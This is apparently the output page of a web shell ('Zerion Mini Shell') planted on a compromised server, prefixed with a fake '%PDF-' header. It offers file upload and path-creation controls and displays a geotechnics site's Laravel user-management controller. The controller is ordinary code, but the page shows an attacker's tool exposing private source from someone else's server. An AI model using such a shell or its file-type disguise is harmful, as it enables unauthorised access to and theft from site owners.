%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/app/Http/Controllers/Api/v1/UsersController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Exports\UsersExport;
use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Users\ChangePasswordRequest;
use App\Http\Requests\Api\v1\Users\CreateUserRequest;
use App\Http\Requests\Api\v1\Users\UpdateProfileRequest;
use App\Http\Requests\Api\v1\Users\UpdateUserRequest;
use App\Http\Requests\Api\v1\Users\UploadImageRequest;
use App\Models\Role;
use App\Models\User;
use App\Notifications\AccountDisabledNotification;
use App\Notifications\AccountEnabledNotification;
use App\Transformers\RoleTransformer;
use App\Transformers\UserTransformer;
use Illuminate\Http\Request;
use Illuminate\Pagination\LengthAwarePaginator;

class UsersController extends ApiController
{
    /**
     * User $user.
     */
    protected $user;

    /**
     * PostsController constructor.
     */
    public function __construct()
    {
        $this->user = auth()
            ->guard('api')
            ->user();
    }

    /**
     * @param Request $request
     * @return UsersController
     */
    public function index(Request $request)
    {
        /** @var LengthAwarePaginator $result */
        $result = $this->filterUsers($request)
                       ->paginate($request->get('perPage'));
        return $this->withPaginated($result, new UserTransformer());
    }

    private function filterUsers(Request $request)
    {
        $result = User::query()
                      ->whereHas('roles');

        if ($name = $request->get('name')) {
            $result = $result->where('name', 'like', "$name%");
        }
        if ($surname = $request->get('surname')) {
            $result = $result->where('surname', 'like', "$surname%");
        }
        if ($email = $request->get('email')) {
            $result = $result->where('email', 'like', "$email%");
        }
        if ($search = $request->get('search')) {
            $result = $result->where('email', 'like', "%$search%")
                             ->orWhere('surname', 'like', "%$search%")
                             ->orWhere('name', 'like', "%$search%");
        }
        return $result;
    }

    /**
     * @param $id
     * @return UsersController
     */
    public function show($id)
    {
        $user = User::query()
                    ->find($id);
        return $this->item($user, new UserTransformer());
    }

    public function store(CreateUserRequest $request)
    {
        /** @var User $user */
        $user = User::query()
                    ->create($request->only(['name', 'surname', 'email', 'password']));
        $role = Role::findById($request->get('role_id'));
        $user->roles()
             ->attach($role);
        return $this->item($user, new UserTransformer());
    }

    public function update(UpdateUserRequest $request, $id)
    {
        $user = User::query()
                    ->findOrFail($id);
        $user->update($request->only(['name', 'surname']));
        return $this->item($user, new UserTransformer());
    }

    public function destroy($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        try {
            $user->delete();
        } catch (\Exception $e) {
            return $this->wrongArguments([
                'message' => 'Not possible to delete this user for the moment, please contact your system admin!',
            ]);
        }
        return [];
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function confirm($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->confirm();
        return $this->item($user, new UserTransformer);
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function enable($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->enable();
        $user->notify(new AccountEnabledNotification());
        return $this->item($user, new UserTransformer);
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function disable($id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->disable();
        $user->notify(new AccountDisabledNotification());
        return $this->item($user, new UserTransformer);
    }

    /**
     * @param ChangePasswordRequest $request
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function updatePassword(ChangePasswordRequest $request, $id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        $user->updatePassword($request->get('password'));
        return $this->item($user, new UserTransformer);
    }

    /**
     * @param UploadImageRequest $request
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function uploadImage(UploadImageRequest $request, $id)
    {
        /** @var User $user */
        $user = User::query()
                    ->findOrFail($id);
        try {
            $user->uploadImage($request->get('image'));
        } catch (\Exception $e) {
            return $this->wrongArguments($e->getMessage());
        }
        return $this->item($user->fresh(), new UserTransformer);
    }

    public function exportExcel(Request $request)
    {
        return (new UsersExport($this->filterUsers($request)))->download('protocols.xlsx');
    }

    public function getRoles()
    {
        return $this->collection(Role::query()
                                     ->get(), new RoleTransformer());
    }

    public function getAvailableUsers()
    {
        return $this->collection(User::query()
                                     ->orderBy('name')
                                     ->orderBy('surname')
                                     ->get(), new UserTransformer());
    }

    /**
     * @param UpdateProfileRequest $request
     * @param User $user
     * @return \Illuminate\Http\JsonResponse
     */
    public function updateProfile(UpdateProfileRequest $request, User $user)
    {
        $user->companyProfile()
             ->updateOrCreate([
                 'user_id' => $user->id,
             ], $request->only([
                 'name',
                 'company',
                 'email',
                 'phone',
                 'country_id',
                 'city',
                 'street',
                 'zip_code',
             ]));

        return $this->item($user, new UserTransformer());
    }

}

Zerion Mini Shell 1.0